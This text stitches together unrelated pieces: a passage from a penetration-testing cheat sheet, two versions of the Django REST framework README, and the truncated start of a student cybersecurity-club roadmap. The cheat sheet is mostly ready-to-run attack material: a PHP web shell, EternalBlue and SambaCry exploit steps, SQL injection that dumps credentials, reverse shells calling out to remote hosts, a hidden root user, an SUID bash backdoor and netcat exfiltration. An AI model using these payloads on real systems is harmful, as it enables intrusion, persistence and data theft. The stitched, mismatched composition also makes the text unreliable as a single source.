rar2john backup.rar > hash.txt john --format=rar hash.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` #### Hashcat Modes * SHA256: 1400 * SHA512: 1800 * RAR5: 13000 Attacks * Dictionary: 0 ```bash hashcat -m 1400 -a 0 /path/to/hashes.txt /usr/share/wordlists/rockyou.txt ``` ```bash hashcat -m 13000 -a 0 rar.hash /usr/share/wordlists/rockyou.txt ``` #### Local File Inclusions Find a way to upload a PHP command shell. ```bash echo "<?php echo shell_exec($_GET['cmd']); ?>" > shell.php ``` #### MS09-050 **CVE-2009-3103: SMBv2 Command Value Vulnerability** This vulnerability impacts Windows Server 2008 SP1 32-bit as well as Windows Vista SP1/SP2 and Windows 7. ```bash nmap $TARGET -p445 --script smb-vuln-cve2009-3103 wget https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py ``` #### EternalBlue **CVE-2017-0144** This vulnerability impacts Windows. Exploiting it requires access to a Named Pipe (NOTE: Windows Vista and newer does not allow anonymous access to Named Pipes). ```bash git clone https://github.com/worawit/MS17-010 cd MS17-010 pip install impacket # mysmb.py ships with this exploit. offsec also hosts it on their GitHub python checker.py $TARGET # check if target is vulnerable and find an accessible Named Pipe python zzz_exploit.py $TARGET $NAMED_PIPE ``` #### SambaCry **CVE-2017-7494** Exploiting this vulnerability depends on your ability to write to a share. Download Proof-of-Concept code from joxeankoret and modify as desired. ```bash mkdir exploits cd exploits git clone https://github.com/joxeankoret/CVE-2017-7494.git cd CVE-2017-7494 mv implant.c implant.bak vim implant.c ``` An example of a modified implant.c file. This source file gets compiled by the provided Python script. ```c #include <stdio.h> #include <stdlib.h> static void smash() __attribute__((constructor)); void smash() { setresuid(0,0,0); system("ping -c2 $LHOST"); } ``` My example payload sends two ICMP packets to my computer. Therefore, the command sentence below is necessary to confirm the exploit works. If you chose to include a reverse shell, you would run something like `sudo nc -nvlp 443` instead. ```bash sudo tcpdump -i tun0 icmp ``` Run the exploit. ```bash python cve_2017_7494.py -t $RHOST --rhost $LHOST --rport $LPORT ``` #### ShellShock via SMTP **CVE-2014-6271** ```bash # technique goes here ``` #### Shell via Samba Logon Command ```bash mkdir /mnt/$TARGET sudo mount -t cifs //$TARGET/$SHARE /mnt/$TARGET sudo cp $EXPLOIT /mnt/$TARGET smbclient //$TARGET/$SHARE logon "=`$EXPLOIT`" ``` #### SQL Injection Check for a SQLi vulnerability ```bash ' ``` Check the quality of SQLi vulnerability ```bash ' or 1=1 -- ``` Get the number of columns of a table (increment the number until there is an error; ex: if 4 triggers an error, there are 3 columns). ```sql ' ORDER BY 1 -- ' ORDER BY 2 -- ' ORDER BY 3 -- ' ORDER BY 4 -- ``` Get all table names (look for user/admin tables). ```sql ' UNION ALL SELECT table_name,null,null FROM all_tables -- ``` Get all possible column names within the entire database (look for values like "username" and "password"). ```sql ' UNION ALL SELECT column_name,null,null FROM user_tab_cols -- ``` Get usernames and passwords from the users table. ```sql ' UNION ALL SELECT username,password,null FROM users -- ``` Get usernames and passwords from the admins table. ```sql ' UNION ALL SELECT username,password,null FROM admins -- ``` Get the database software version. ```sql ' UNION ALL SELECT banner,null,null FROM v$version -- ``` Get the database service account name. ```sql ' UNION ALL SELECT user,null,null FROM dual -- ``` Execute a database function (ex: user(), database(), etc.). ```bash # query goes here ``` Execute shell command (ex: find current working directory). ```bash # query goes here ``` Common Oracle-based SQL Query Errors | ID | Error | Explanation | |---|---|---| | ORA-00923 | FROM keyword not found where expected | Occurs when you try to execute a SELECT or REVOKE statement without a FROM keyword in its correct form and place. If you are seeing this error, the keyword FROM is spelled incorrectly, misplaced, or altogether missing. In Oracle, the keyword FROM must follow the last selected item in a SELECT statement or in the case of a REVOKE statement, the privileges. If the FROM keyword is missing or otherwise incorrect, you will see ORA-00923. | | ORA-00933 | SQL command not properly ended | The SQL statement ends with an inappropriate clause. Correct the syntax by removing the inappropriate clauses. | ORA-00936 | Missing expression | You left out an important chunk of what you were trying to run. This can happen fairly easily, but provided below are two examples that are the most common occurrence of this issue.The first example is the product of missing information in a SELECT statement. The second is when the FROM clause within the statement is omitted. | | ORA-01785 | ORDER BY item must be the number of a SELECT-list expression | | | ORA-01789 | Query block has incorrect number of result columns | | | ORA-01790 | Expression must have same datatype as corresponding expression | Re-write the SELECT statement so that each matching column is the same data type. Try replacing the columns with null. For example, if you only want to see the table_name and the output is 3 columns, use "table_name,null,null" not "table_name,2,3". | MySQL Database Queries ```sql SELECT * FROM targetdb.usertbl; # database.table USE targetdb; SELECT * FROM usertbl; ``` Add a new user to a SQL database. ```sql INSERT INTO targetdb.usertbl(username, password) VALUES ('victor','please'); ``` ### Maintaining Access #### Python Bind Shell ```python python -c 'import socket,os,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("0.0.0.0",443));s.listen(5);c,a=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);p=subprocess.call(["/bin/sh","-i"])' ``` #### Python Reverse Shell ```python export RHOST="10.10.10.10"; export RPORT=443; python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' ``` #### Bash Reverse Shells ```bash /bin/bash -i >& /dev/tcp/10.0.0.1/443 0>&1 ``` #### Msfvenom Reverse Shells ```bash msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o rshell.exe ``` ```bash msfvenom -p linux/x64/shell_reverse_tcp LHOST=$TARGET LPORT=$PORT -f elf -o rshell.elf ``` ```bash msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f asp -o rshell.asp ``` ```bash msfvenom -p php/reverse_php LHOST=$LHOST LPORT=$LPORT -f raw -o rshell.php ``` ```bash msfvenom -p windows/shell_reverse_tcp LHOST=$LPORT LPORT=$LPORT -f hta-psh -o rshell.hta ``` ```bash msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f powershell ``` ```bash msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o rshell.msi ``` ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LPORT LPORT=$LPORT -f war > rshell.war ``` #### Netcat Reverse Shells ```bash sudo nc -nv 10.10.10.10 443 -e /bin/bash ``` ```bash nc -nv 10.10.10.10 443 -e "/bin/bash" ``` #### PowerShell Reverse Shell ```bash 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.11.12.13",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' ``` #### JavaScript Reverse Shell ```javascript (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/bash", []); var client = new net.Socket(); client.connect(4444, "192.168.69.123", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })(); ``` #### Upgrade to a PTY Shell ```bash echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py python /tmp/shell.py export TERM=xterm # be able to clear the screen, etc. ``` #### Information to Gather for Privilege Escalation | Information | Benefit to Privilege Escalation | | ----------- | ------------------------------- | | User Context |Establish who you are before working towards who you want to be. | | Hostname | Discover the system’s role, naming convention, OS, etc. | | OS Version | Find matching kernel exploits. | | Kernel Version | Find matching kernel exploits (exploit the core of the OS). | | System Architecture | Find matching exploits. | | Processes and Services | Determine which are running under a privilege account and vulnerable to a known exploit and/or configured with weak permissions. | | Network Information | Identify pivot options to other machines/networks (adapter configs, routes, TCP connections and their process owners), and determine if anti-virus or virtualization software is running. | | Firewall Status and Rules | Determine if a service blocked remotely is allowed via loopback; find rules that allow any inbound traffic. | | Scheduled Tasks | Identify automated tasks running under an administrator-context; find file-paths to files with weak permissions. | | Programs and Patch Levels | Find matching exploits; HotFixId and InstalledOn represent quality of patch mgmt; qfe = quick fix engineering. | | Readable/Writable Files and Directories | Find credentials and/or files (that run under a privileged account) that can be modified/overwritten: look for files readable and/or writable by “Everyone,” groups you’re part of, etc. | | Unmounted Drives | Find credentials. | | Device Drivers and Kernel Modules | Find matching exploits. | | AutoElevate Settings and Binaries | Find settings and/or files that run as the file owner when invoked. If AlwaysInstallElevated is enabled, exploit via a malicious .msi file. | #### Linux Privilege Escalation ```bash whoami ``` ```bash uname -a ``` ```bash cat /etc/passwd ``` ```bash cat /etc/crontab ``` Files with SUID-bit set. ```bash find / -perm -u=s -type f 2> /dev/null ``` Files where group permissions equal to "writable." ```bash find /etc -type f -perm /g=w -exec ls -l {} + 2> /dev/null ``` ```bash ps aux | grep -v "\[" | grep root ``` ```bash dpkg -l # debian ``` ```bash rpm -qa # red hat ``` ```bash pacman -Qe # arch linux ``` #### Windows Privilege Escalation ```bash whoami /priv ``` ```bash net user ``` ```bash systeminfo ``` ```bash systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" ``` ```bash dir c:\ ``` ```bash dir "c:\program files" ``` ```bash dir "c:\program files (x86)" ``` ```bash wmic service get name,startname ``` ```bash wmic service get name,pathname,startname | findstr "Program Files" ``` ```bash cacls *.exe ``` #### Juicy Potato * Download Juicy Potato to your attack machine * Upload Juicy Potato to the target (ex: via FTP, SMB, HTTP, etc.) * Create a reverse shell and upload it to the target (ex: via FTP, SMB, HTTP, etc.) use Juicy Potato to execute your reverse shell ```bash wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe ``` ```bash JuicyPotato.exe -l 5050 -p C:\path\to\reverse-shell.exe -t * ``` #### Persistence Add a new user. ```bash useradd -p $(openssl passwd -crypt password) -s /bin/bash -o -u 0 -g 0 -m victor ``` Rootbash (Credit: Tib3rius). ```bash # as root, create a copy of BASH and then set the SUID-bit # to resume root-access execute the new binary using -p cp /bin/bash /tmp/bash; chown root /tmp/bash; chmod u+s /tmp/bash; chmod o+x /tmp/bash /tmp/bash -p ``` Exfil via Netcat. ```bash nc -nvlp 5050 > stolen.exe nc.exe -w3 10.11.12.13 5050 < stealme.exe ```
# [Django REST framework][docs] [![build-status-image]][travis] [![coverage-status-image]][codecov] [![pypi-version]][pypi] **Awesome web-browsable Web APIs.** Full documentation for the project is available at [http://www.django-rest-framework.org][docs]. --- **Note**: We have now released Django REST framework 3.3. For older codebases you may want to refer to the version 2.4.4 [source code][2.4-code], and [documentation][2.4-docs]. For more details see the 3.3 [announcement][3.3-announcement] and [release notes][3.3-release-notes]. --- # Overview Django REST framework is a powerful and flexible toolkit for building Web APIs. Some reasons you might want to use REST framework: * The [Web browsable API][sandbox] is a huge usability win for your developers. * [Authentication policies][authentication] including optional packages for [OAuth1a][oauth1-section] and [OAuth2][oauth2-section]. * [Serialization][serializers] that supports both [ORM][modelserializer-section] and [non-ORM][serializer-section] data sources. * Customizable all the way down - just use [regular function-based views][functionview-section] if you don't need the [more][generic-views] [powerful][viewsets] [features][routers]. * [Extensive documentation][docs], and [great community support][group]. There is a live example API for testing purposes, [available here][sandbox]. **Below**: *Screenshot from the browsable API* ![Screenshot][image] # Requirements * Python (2.7, 3.2, 3.3, 3.4, 3.5) * Django (1.8, 1.9) # Installation Install using `pip`... pip install djangorestframework Add `'rest_framework'` to your `INSTALLED_APPS` setting. INSTALLED_APPS = ( ... 'rest_framework', ) # Example Let's take a look at a quick example of using REST framework to build a simple model-backed API for accessing users and groups. Startup up a new project like so... pip install django pip install djangorestframework django-admin.py startproject example . ./manage.py migrate ./manage.py createsuperuser Now edit the `example/urls.py` module in your project: ```python from django.conf.urls import url, include from django.contrib.auth.models import User from rest_framework import serializers, viewsets, routers # Serializers define the API representation. class UserSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = User fields = ('url', 'username', 'email', 'is_staff') # ViewSets define the view behavior. class UserViewSet(viewsets.ModelViewSet): queryset = User.objects.all() serializer_class = UserSerializer # Routers provide a way of automatically determining the URL conf. router = routers.DefaultRouter() router.register(r'users', UserViewSet) # Wire up our API using automatic URL routing. # Additionally, we include login URLs for the browsable API. urlpatterns = [ url(r'^', include(router.urls)), url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')) ] ``` We'd also like to configure a couple of settings for our API. Add the following to your `settings.py` module: ```python INSTALLED_APPS = ( ... # Make sure to include the default installed apps here. 'rest_framework', ) REST_FRAMEWORK = { # Use Django's standard `django.contrib.auth` permissions, # or allow read-only access for unauthenticated users. 'DEFAULT_PERMISSION_CLASSES': [ 'rest_framework.permissions.DjangoModelPermissionsOrAnonReadOnly' ] } ``` That's it, we're done! ./manage.py runserver You can now open the API in your browser at `http://127.0.0.1:8000/`, and view your new 'users' API. If you use the `Login` control in the top right corner you'll also be able to add, create and delete users from the system. You can also interact with the API using command line tools such as [`curl`](http://curl.haxx.se/). For example, to list the users endpoint: $ curl -H 'Accept: application/json; indent=4' -u admin:password http://127.0.0.1:8000/users/ [ { "url": "http://127.0.0.1:8000/users/1/", "username": "admin", "email": "[email protected]", "is_staff": true, } ] Or to create a new user: $ curl -X POST -d username=new -d [email protected] -d is_staff=false -H 'Accept: application/json; indent=4' -u admin:password http://127.0.0.1:8000/users/ { "url": "http://127.0.0.1:8000/users/2/", "username": "new", "email": "[email protected]", "is_staff": false, } # Documentation & Support Full documentation for the project is available at [http://www.django-rest-framework.org][docs]. For questions and support, use the [REST framework discussion group][group], or `#restframework` on freenode IRC. You may also want to [follow the author on Twitter][twitter]. # Security If you believe you’ve found something in Django REST framework which has security implications, please **do not raise the issue in a public forum**. Send a description of the issue via email to [[email protected]][security-mail]. The project maintainers will then work with you to resolve any issues where required, prior to any public disclosure. [build-status-image]: https://secure.travis-ci.org/tomchristie/django-rest-framework.svg?branch=master [travis]: http://travis-ci.org/tomchristie/django-rest-framework?branch=master [coverage-status-image]: https://img.shields.io/codecov/c/github/tomchristie/django-rest-framework/master.svg [codecov]: http://codecov.io/github/tomchristie/django-rest-framework?branch=master [pypi-version]: https://img.shields.io/pypi/v/djangorestframework.svg [pypi]: https://pypi.python.org/pypi/djangorestframework [twitter]: https://twitter.com/_tomchristie [group]: https://groups.google.com/forum/?fromgroups#!forum/django-rest-framework [sandbox]: http://restframework.herokuapp.com/ [oauth1-section]: http://www.django-rest-framework.org/api-guide/authentication/#django-rest-framework-oauth [oauth2-section]: http://www.django-rest-framework.org/api-guide/authentication/#django-oauth-toolkit [serializer-section]: http://www.django-rest-framework.org/api-guide/serializers/#serializers [modelserializer-section]: http://www.django-rest-framework.org/api-guide/serializers/#modelserializer [functionview-section]: http://www.django-rest-framework.org/api-guide/views/#function-based-views [generic-views]: http://www.django-rest-framework.org/api-guide/generic-views/ [viewsets]: http://www.django-rest-framework.org/api-guide/viewsets/ [routers]: http://www.django-rest-framework.org/api-guide/routers/ [serializers]: http://www.django-rest-framework.org/api-guide/serializers/ [authentication]: http://www.django-rest-framework.org/api-guide/authentication/ [image]: http://www.django-rest-framework.org/img/quickstart.png [docs]: http://www.django-rest-framework.org/ [security-mail]: mailto:[email protected] [2.4-code]: https://github.com/tomchristie/django-rest-framework/tree/version-2.4.x [2.4-docs]: http://tomchristie.github.io/rest-framework-2-docs/ [3.3-announcement]: http://www.django-rest-framework.org/topics/3.3-announcement/ [3.3-release-notes]: http://www.django-rest-framework.org/topics/release-notes/#33x-series
# [Django REST framework][docs] [![build-status-image]][travis] [![pypi-version]][pypi] **Awesome web-browsable Web APIs.** Full documentation for the project is available at [http://www.django-rest-framework.org][docs]. --- **Note**: We have now released Django REST framework 3.0. For older codebases you may want to refer to the version 2.4.4 [source code](https://github.com/tomchristie/django-rest-framework/tree/version-2.4.x), and [documentation](http://tomchristie.github.io/rest-framework-2-docs/). --- # Overview Django REST framework is a powerful and flexible toolkit for building Web APIs. Some reasons you might want to use REST framework: * The [Web browsable API][sandbox] is a huge usability win for your developers. * [Authentication policies][authentication] including [OAuth1a][oauth1-section] and [OAuth2][oauth2-section] out of the box. * [Serialization][serializers] that supports both [ORM][modelserializer-section] and [non-ORM][serializer-section] data sources. * Customizable all the way down - just use [regular function-based views][functionview-section] if you don't need the [more][generic-views] [powerful][viewsets] [features][routers]. * [Extensive documentation][index], and [great community support][group]. There is a live example API for testing purposes, [available here][sandbox]. **Below**: *Screenshot from the browsable API* ![Screenshot][image] # Requirements * Python (2.6.5+, 2.7, 3.2, 3.3, 3.4) * Django (1.4.11+, 1.5.6+, 1.6.3+, 1.7) # Installation Install using `pip`... pip install djangorestframework Add `'rest_framework'` to your `INSTALLED_APPS` setting. INSTALLED_APPS = ( ... 'rest_framework', ) # Example Let's take a look at a quick example of using REST framework to build a simple model-backed API for accessing users and groups. Startup up a new project like so... pip install django pip install djangorestframework django-admin.py startproject example . ./manage.py syncdb Now edit the `example/urls.py` module in your project: ```python from django.conf.urls import url, include from django.contrib.auth.models import User from rest_framework import serializers, viewsets, routers # Serializers define the API representation. class UserSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = User fields = ('url', 'username', 'email', 'is_staff') # ViewSets define the view behavior. class UserViewSet(viewsets.ModelViewSet): queryset = User.objects.all() serializer_class = UserSerializer # Routers provide a way of automatically determining the URL conf. router = routers.DefaultRouter() router.register(r'users', UserViewSet) # Wire up our API using automatic URL routing. # Additionally, we include login URLs for the browsable API. urlpatterns = [ url(r'^', include(router.urls)), url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')) ] ``` We'd also like to configure a couple of settings for our API. Add the following to your `settings.py` module: ```python INSTALLED_APPS = ( ... # Make sure to include the default installed apps here. 'rest_framework', ) REST_FRAMEWORK = { # Use Django's standard `django.contrib.auth` permissions, # or allow read-only access for unauthenticated users. 'DEFAULT_PERMISSION_CLASSES': [ 'rest_framework.permissions.DjangoModelPermissionsOrAnonReadOnly' ] } ``` That's it, we're done! ./manage.py runserver You can now open the API in your browser at `http://127.0.0.1:8000/`, and view your new 'users' API. If you use the `Login` control in the top right corner you'll also be able to add, create and delete users from the system. You can also interact with the API using command line tools such as [`curl`](http://curl.haxx.se/). For example, to list the users endpoint: $ curl -H 'Accept: application/json; indent=4' -u admin:password http://127.0.0.1:8000/users/ [ { "url": "http://127.0.0.1:8000/users/1/", "username": "admin", "email": "[email protected]", "is_staff": true, } ] Or to create a new user: $ curl -X POST -d username=new -d [email protected] -d is_staff=false -H 'Accept: application/json; indent=4' -u admin:password http://127.0.0.1:8000/users/ { "url": "http://127.0.0.1:8000/users/2/", "username": "new", "email": "[email protected]", "is_staff": false, } # Documentation & Support Full documentation for the project is available at [http://www.django-rest-framework.org][docs]. For questions and support, use the [REST framework discussion group][group], or `#restframework` on freenode IRC. You may also want to [follow the author on Twitter][twitter]. # Security If you believe you’ve found something in Django REST framework which has security implications, please **do not raise the issue in a public forum**. Send a description of the issue via email to [[email protected]][security-mail]. The project maintainers will then work with you to resolve any issues where required, prior to any public disclosure. # License Copyright (c) 2011-2015, Tom Christie All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [build-status-image]: https://secure.travis-ci.org/tomchristie/django-rest-framework.svg?branch=master [travis]: http://travis-ci.org/tomchristie/django-rest-framework?branch=master [pypi-version]: https://pypip.in/version/djangorestframework/badge.svg [pypi]: https://pypi.python.org/pypi/djangorestframework [twitter]: https://twitter.com/_tomchristie [group]: https://groups.google.com/forum/?fromgroups#!forum/django-rest-framework [0.4]: https://github.com/tomchristie/django-rest-framework/tree/0.4.X [sandbox]: http://restframework.herokuapp.com/ [index]: http://www.django-rest-framework.org/ [oauth1-section]: http://www.django-rest-framework.org/api-guide/authentication/#oauthauthentication [oauth2-section]: http://www.django-rest-framework.org/api-guide/authentication/#oauth2authentication [serializer-section]: http://www.django-rest-framework.org/api-guide/serializers/#serializers [modelserializer-section]: http://www.django-rest-framework.org/api-guide/serializers/#modelserializer [functionview-section]: http://www.django-rest-framework.org/api-guide/views/#function-based-views [generic-views]: http://www.django-rest-framework.org/api-guide/generic-views/ [viewsets]: http://www.django-rest-framework.org/api-guide/viewsets/ [routers]: http://www.django-rest-framework.org/api-guide/routers/ [serializers]: http://www.django-rest-framework.org/api-guide/serializers/ [authentication]: http://www.django-rest-framework.org/api-guide/authentication/ [rest-framework-2-announcement]: http://www.django-rest-framework.org/topics/rest-framework-2-announcement [2.1.0-notes]: https://groups.google.com/d/topic/django-rest-framework/Vv2M0CMY9bg/discussion [image]: http://www.django-rest-framework.org/img/quickstart.png [tox]: http://testrun.org/tox/latest/ [tehjones]: https://twitter.com/tehjones/status/294986071979196416 [wlonk]: https://twitter.com/wlonk/status/261689665952833536 [laserllama]: https://twitter.com/laserllama/status/328688333750407168 [docs]: http://www.django-rest-framework.org/ [urlobject]: https://github.com/zacharyvoase/urlobject [markdown]: http://pypi.python.org/pypi/Markdown/ [pyyaml]: http://pypi.python.org/pypi/PyYAML [defusedxml]: https://pypi.python.org/pypi/defusedxml [django-filter]: http://pypi.python.org/pypi/django-filter [security-mail]: mailto:[email protected]
# CAT-Reloaded-Cyber-Security-Cirlcle-Road-Map | 📚 Content | 🔎 Roadmaps | |-------------------------------------------------------------|-----------------------------------------------------------| | [CAT Reloaded Cyber Security PATH](https://github.com/YasserElsnbary/CAT-Reloaded-Cyber-Security-Cirlcle-Road-Map#cat-reloaded-cyber-security-path)|[Reverse Engineering & Malware Analysis Path (REMAR)](https://github.com/YasserElsnbary/CAT-Reloaded-Cyber-Security-Cirlcle-Road-Map#1%EF%B8%8F%E2%83%A3-reverse-engineering--malware-analysis-path-remar)| | [CAT Reloaded](https://github.com/YasserElsnbary/CAT-Reloaded-Cyber-Security-Cirlcle-Road-Map#cat-reloaded)|[Penetration Testing Path](https://github.com/YasserElsnbary/CAT-Reloaded-Cyber-Security-Cirlcle-Road-Map#2%EF%B8%8F%E2%83%A3-penetration-testing-path)| | [before start you should know](https://github.com/YasserElsnbary/CAT-Reloaded-Cyber-Security-Cirlcle-Road-Map#before-start-you-should-know)| [Network Security Path (defensive)](https://github.com/YasserElsnbary/CAT-Reloaded-Cyber-Security-Cirlcle-Road-Map#3%EF%B8%8F%E2%83%A3-network-security-path-defensive) | | [ENTRY LEVEL](https://github.com/YasserElsnbary/CAT-Reloaded-Cyber-Security-Cirlcle-Road-Map#entry-level)| |[Kickoff](https://github.com/YasserElsnbary/CAT-Reloaded-Cyber-Security-Cirlcle-Road-Map#kickoff)| |[Technical Mentors](https://github.com/YasserElsnbary/CAT-Reloaded-Cyber-Security-Cirlcle-Road-Map#technical-mentors)| ## [CAT Reloaded Cyber Security PATH](https://docs.google.com/document/d/1LIJWZ2EpaT6O0yvQhLKKj-bmRkROYfRsJClZuNqkThk/edit?usp=sharing "CAT Reloaded Cyber Security PATH") In the beginning; I must mention [Nidal Fikri](https://www.linkedin.com/in/nidal-fikri-776403125/ "Nidal Fikri") who brought the Circle back to work and we learned a lot from him. This year, I'm the Leader of the Circle going to put our Mentors vision on this road map you can chat with me any time, feel free to talk with me [Yasser Elsnbary](https://www.linkedin.com/in/yasser-elsnbary-475383159/ "Yasser Elsnbary") ------------ ## [CAT Reloaded](https://www.facebook.com/CATReloaded "CAT Reloaded") ![CAT Logo](img/icon.png) ------------ ▶ What is [CAT Reloaded](https://www.facebook.com/CATReloaded "CAT Reloaded")? 📌 [CAT Reloaded](https://www.facebook.com/CATReloaded "CAT Reloaded") Abbreviation for **C**omputer **A**ssistance **T**eam was from **1996** and reloaded again so it gained its name **CAT Reloaded** from this matter. ------------ ▶ What do we do in [CAT Reloaded](https://www.facebook.com/CATReloaded "CAT Reloaded")? 📌 The team is interested in forming technical circles in order to form communities that help and participate in learning modern software technology such as: **Cyber Security**, **Gaming**, **Web Development**, **Mobile Development**, **Data Science**, **Embedded system** and **Graphic Design**. ------------ ▶ How can you follow us on social media or offline? 📌 [CAT Reloaded](https://www.facebook.com/CATReloaded "CAT Reloaded") community in Mansoura, you know more about us and our activities through our social media: 💻[Web site](http://catreloaded.org/ "Web site") 💻[GitHub](https://github.com/CATReloaded "Web site") 📱 [Facebook Page](https://www.facebook.com/pg/CATReloaded "Facebook Page") 📱 [Facebook Group](https://www.facebook.com/groups/catreloaded.team "Facebook Group") 📱 [Twitter](https://twitter.com/CATReloaded "Twitter") 📱 [Linkedin](https://www.linkedin.com/company/cat-reloaded/ "Linkedin") 👓[YouTube](https://www.youtube.com/user/C4TReloaded "YouTube") ------------ ▶ How to be a member of CAT Reloaded? 📌 Almost every year we host a recruitment [Event](https://www.facebook.com/events/375956410319681/?active_tab=discussion "Event") in Mansoura University to attract all of the interested students in Computer Science in general, categorizing them in Circles meant for different fields, of course there is a Cyber Security Circle. ![CAT Logo](img/m.jpg) ------------ ## before start you should know: ▶ So what is“Cyber Security”? 📌 It is the protection of computer systems from theft or damage to their hardware, software or electronic data, as well as from disruption or misdirection of the services they provide enriched your mind with these talks from [TEDx](https://www.ted.com/playlists/10/who_are_the_hackers "TEDx") about cybersecurity and hackers. ------------ ▶ What do we need to start? 📌 To start you should build your land hard so we have some basics you should know at first to be ready to start your study in cybersecurity. These basics will be in our entry level. > You do not need any requirements to start, you only need **Passion**, **Power** and **Persistence** ------------ ▶ What is a good resource to study ? 📌 You should know that the Cyber Security path is not easy or clear and it takes time, there is no clear path to you or path from 0 to hero. 📌 We make an effort to make our paths in this field or in our life to make it easier from other mentors, good resources, study smart and be in touch with new technologies. This is a way to learn, this field is different from other fields. 📌 you should study everytime if you are beginner or expert you will not reach the top because this track is increasing rapidly you can't imagine that it has a lot of branches like Pentesting, Reverse Engineering, Digital Forensics and a lot of them and a lot of jobs in this career to ensure of that please watch this [video](https://youtu.be/2TofunAI6fU "video"). ------------ ▶ What are our branches in Circle? 1. [Penetration testing](https://drive.google.com/drive/folders/1U_Y9-pp7f2pTT3NSWVnhFkztpVmEROuj?usp=sharing "Penetration testing")✅ - [Web Pentesting](https://drive.google.com/file/d/1YlYBgkith2ycK8aqP2bv_a-S9YD6LANi/view?usp=sharing "Web Pentesting")✅ - [Network Pentesting](https://drive.google.com/file/d/1OGCm2PHs0qX1NqmkeZFv9q-lo10fPbht/view?usp=sharing "Network Pentesting") ✅ - [Mobile Pentesting](https://drive.google.com/drive/folders/1UUk4SZIh_2iLQgzyrOlLkFFbWCrZOJ0t?usp=sharing "Mobile Pentesting") ⌛ 2. [Reverse Engineering & Malware Analysis](https://drive.google.com/file/d/1VmkBK89A4DXLkZq2FA-eVdoJx2C1KMeC/view?usp=sharing "Reverse Engineering & Malware Analysis")✅ 3. [Network Security](https://docs.google.com/document/d/1y1StwJFtd5gtT5LR8cr2n4SysiNABdDNMngVVFmAgjM/edit?usp=sharing "Network Security")✅ ------------ # ENTRY LEVEL ![CAT Logo](img/circle.png) ▶ Entry level will **not** make you professionals or have a high level in this topic. Firstly you need to know if your **passion** is true or false, right or wrong for cyber security to measure your **loving** and **capability** in this field You should take an overview in: 📌 1. Operating System **(LINUX)** ![CAT Logo](img/linux.png) [why to use Linux ?](https://blog.catreloaded.org/2020/09/why-to-use-linux/) 📌 2. Programming language **(PYTHON)** ![CAT Logo](img/python.png) [why to Learn Python ?](https://blog.catreloaded.org/2020/07/python-for-cyber-security/) 📌 3. **Networking** ▶ After that you should know what you will study **Pentesting** or **Reverse** or **Networking** ▶ **Notes:** 🔴 1. At the end of this level, a member can decide if he joined the right circle for him or not. 🔴 2. Please note that the links and courses below are my recommended but may not be the best for everyone, so if you struggle during one of these, you should seek something else. 🔴 3. Every 2 weeks there’s a seminar with the leader of the branch to discuss what’s next and what has been achieved so far. #### ▶ [Plan Time-Line](https://docs.google.com/document/d/1tkTilM82PxNjtr7IDOhXhEBIVVQD5KGvTk_J55lYeyI/edit?usp=sharing "Plan Time-Line") ------------ # kickoff 📌 1. **Before we begin in this level you should know something called:** **- “Learning difficulties”:** 🔴 How you study books and references, you must know that many difficulties will confront you with everything you learn, so you should not be bored or unable to do what you must do. 🔴 You must know that you will stop a lot and you will not understand too much, but you must return and resist **🔴 You must write and practice for everything you learn so that you do not get lost from you, either in your hand or in a text file on your personal computer. Massive practice .** 📌 2. This stage is for those **who will pass the Entry Level.** 📌 3. Before you start, you must Choose your **path** from the 3 **branches**. 📌 4. Please note that the **links** and 